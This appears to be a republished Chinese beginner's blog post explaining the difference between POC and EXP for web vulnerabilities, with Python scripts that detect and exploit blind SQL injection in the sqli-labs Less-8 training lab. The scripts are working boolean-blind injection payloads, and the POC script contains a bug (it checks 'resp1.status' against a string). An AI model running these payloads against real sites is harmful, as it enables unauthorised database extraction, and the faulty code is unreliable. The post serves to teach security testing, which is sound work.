前言
初学安全时,很多概念理解不透彻,被POC/EXP
的概念困扰了许久。最近看到许多招聘上都需要熟练编写POC/编写特殊场景的工具脚本
等要求,下决心要理解并学会如何写POC。(这里是Web应用类漏洞的POC)
看了点教程和了几篇文章,总结一下。
一、漏洞验证方式
要判断一个漏洞是否存在,必须要有一些信息凭据。我们可以通过在目标系统执行一段代码(payload),根据目标系统的响应情况来作出判断。
- 执行payload,有回显。→ 发送数据包,看返回特征
- 执行payload,无回显
- 对接
dns.log
,ping dns.log 进行判断 - 反弹shell
- 对接
二、POC是什么?
POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。
Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
Shellcode:简单翻译 ’ shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名
上面的引用源于CSDN的一篇文章,这种解释百度以下几乎都是一样,现在看来感觉“就是这样啊”,初学的时候由于知识面不够广,越想越多,很容易钻牛角尖。
假如现在有一个GET型SQL注入漏洞,你的第一反应就是在URL的参数加个单引号,并不断的尝试,判断是何种注入类型,然后按部就班地进行暴库、爆表等一些列操作。或者通过BurpSuite抓包改包,利用Intruder
模块进行自动化爆破等。
POC就是根据漏洞原理,将人工渗透测试的过程通过编程语言封装成一个工具代码,从而自动化检测漏洞。举个例子,你正在打sqli-labs
的第8关,可能就是在浏览器里利用hackbar
不断的修改参数,或者使用burpsuite抓包改包。现在我们要通过编写程序,来实现手工的一系列过程。验证这个漏洞确实存在,这个程序或者这段代码就叫POC
,如果这段代码利用了这个漏洞进行了一些操作(通常是有害的),那么就叫EXP
比较典型的是RCE(远程命令/代码执行)漏洞,通常POC都是会执行一个计算器程序命令,以证明漏洞存在;如果是EXP,那么可能就是会执行一些敏感动作,以获得更多信息等
三、POC框架
PoC 框架就是一个批量管理,调度 PoC 的程序。因为是框架,要批量调度,那就要求 PoC 在编写的时候要遵守一些规范,这些规范常见的有:
入口规范
考虑到批量使用 PoC 的调度情况,统一入口框架调用该 PoC 的时候会非常之方便。这个就需要根据具体的框架的调度要求来看了,都有文档的,看一下就会了。
API规范
API 是该框架对一些基础类库的封装,比如说框架提供了一些网络请求工具。这些封装有什么好处呢?我还是举例子来说明,比如某次扫描,调用了 1000 个 PoC 去扫描目标主机了,假设这个扫描任务中有一部分是需要登录的,而有一些的作者在编写的时候忘记在 PoC 中接收用户自定义的 Cookie 了,那么此时就会因为接收不到 Cookie 而导致请求不成功。那么在使用了框架的情况下,即使在忘记了添加这些字段的情况下,框架也会自动将 Cookie 添加进请求中,为 PoC 开发者提供了极大的便利。
链接:https://www.jianshu.com/p/5decaf1cde6b
这里有一篇文章写的挺不错,可以帮助理解:自己写一个POC框架
自己写一个poc框架(真):真·自己简单实现poc框架
比较常用的POC框架
- pocsuite3
- xray
- goby
现在这些工具往往都是一个综合漏洞验证/扫描工具,POC只是一个模块
四、简单的POC/EXP编写
可以看一下者篇文章:https://mp.weixin.qq.com/s/aWbPUANyglL5kWiiFfSRYw
1、POC编写流程
2、以sqli-labs第8关为例-POC
既然要通过代码来实现人工过程,实验漏洞测试的自动化,那么就要编程构造数据包,写payload,验证返回内容。就是我们修改参数、点击发送并通过回显的情形来作出判断的过程。
通过python实现的HTTP协议模块requests,可以很方便的构造HTTP数据包文章来源:https://www.toymoban.com/news/detail-645767.html
import requests
# 这个并不是通用型的poc,所以我们可以写成一个很辣鸡的形式
import requests
url = "http://192.168.10.136/sqli-labs/Less-8/"
payload1 = "?id=1' and 1=1 --+"
payload2 = "?id=1' and 1=2 --+"
resp1 = requests.get(url=url+payload1)
if resp1.status == '200':
resp2 = requests.get(url=url+payload2)
if resp2.status != '200':
print("[*] {}vuln found".format(url))
3、以sqli-labs第8关为例-EXP
通过代码,将人工爆库爆表的过程自动化文章来源地址https://www.toymoban.com/news/detail-645767.html
import requests
import string
url = "http://192.168.10.136/sqli-labs/Less-8/"
#获取正常访问时返回的页面长度
normalHtmlLen = len(requests.get(url=url+"?id=1").text) #
print("页面长度为:"+ str(normalHtmlLen))
#数据库名长度
dbNameLen = 0
#通过这个循环爆库名长度
while True:
dbNameLen_url = url + "?id=1'+and+length(database())="+str(dbNameLen)+"--+"
print(dbNameLen_url)
if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
print(dbNameLen)
break
if dbNameLen == 30:
print("Error!")
break
dbNameLen +=1
#数据库名
dbName = ""
#通过这个循环爆库名
for i in range(1,9):
for a in string.ascii_lowercase:
dbName_url = url + "?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+"
print(dbName_url)
if len(requests.get(dbName_url).text) == normalHtmlLen:
dbName += a
print(dbName)
break
到了这里,关于如何编写POC/EXP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!